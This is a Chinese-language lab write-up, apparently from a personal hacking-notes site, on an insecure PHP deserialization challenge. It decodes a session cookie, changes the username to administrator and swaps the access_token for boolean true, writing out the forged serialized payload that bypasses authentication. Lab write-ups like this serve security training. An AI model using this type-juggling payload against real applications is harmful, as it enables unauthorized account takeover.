> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/changing-serialized-data-types.md).
# 更改序列化数据类型
### 修改序列化数据类型
**实验目标**
本实验使用一种基于序列化的会话机制，并存在可绕过身份验证的漏洞。/ 目标是修改会话 cookie 中包含的序列化对象，以访问 \*\*管理员账户\*\*，然后删除该用户 **carlos**.
**初始访问**
你可以使用以下凭据连接：
* **用户**: `wiener`
* **密码**: `peter`
连接后，服务器返回一个包含以 Base64 编码的序列化对象的会话 cookie。
**已获取会话 Cookie**
会话 cookie 的值如下：
{% code overflow="wrap" %}
```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJybWNjYzI1MzQwcnMyMXF4bnptd2c0ZGd6c2FsZGo1dyI7fQ%3d%3d
```
{% endcode %}
**基础 Base64 解码**
解码后，得到以下序列化的 PHP 对象：
{% code overflow="wrap" %}
```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```
{% endcode %}
该对象表示一个 `用户` 带有两个属性的类：
* `username`
* `access_token`
**行为分析**
* 如果一个 `access_token` 如果字符被更改，服务器会返回错误，表明该字段通常会被验证。
* 该 `username` 该字段用于确定用户的角色。
**漏洞利用**
**已更改的用户名**/ 的值 `username` 被替换为 `administrator` 通过正确调整字符串长度（`s:13`).
{% code overflow="wrap" %}
```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```
{% endcode %}
**令牌数据类型的更改**/ 而不是提供字符串类型的 `access_token` (`字符串`），其类型被修改为布尔型（`b:1`，相当于 `true`).
最终序列化对象：
{% code overflow="wrap" %}
```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}%3d%3d
```
{% endcode %}
在重新进行 Base64 编码并插入会话 cookie 后，服务器会接受该对象，而不会正确检查令牌类型。
随后应用程序会认为该用户的会话有效 **administrator**.
---
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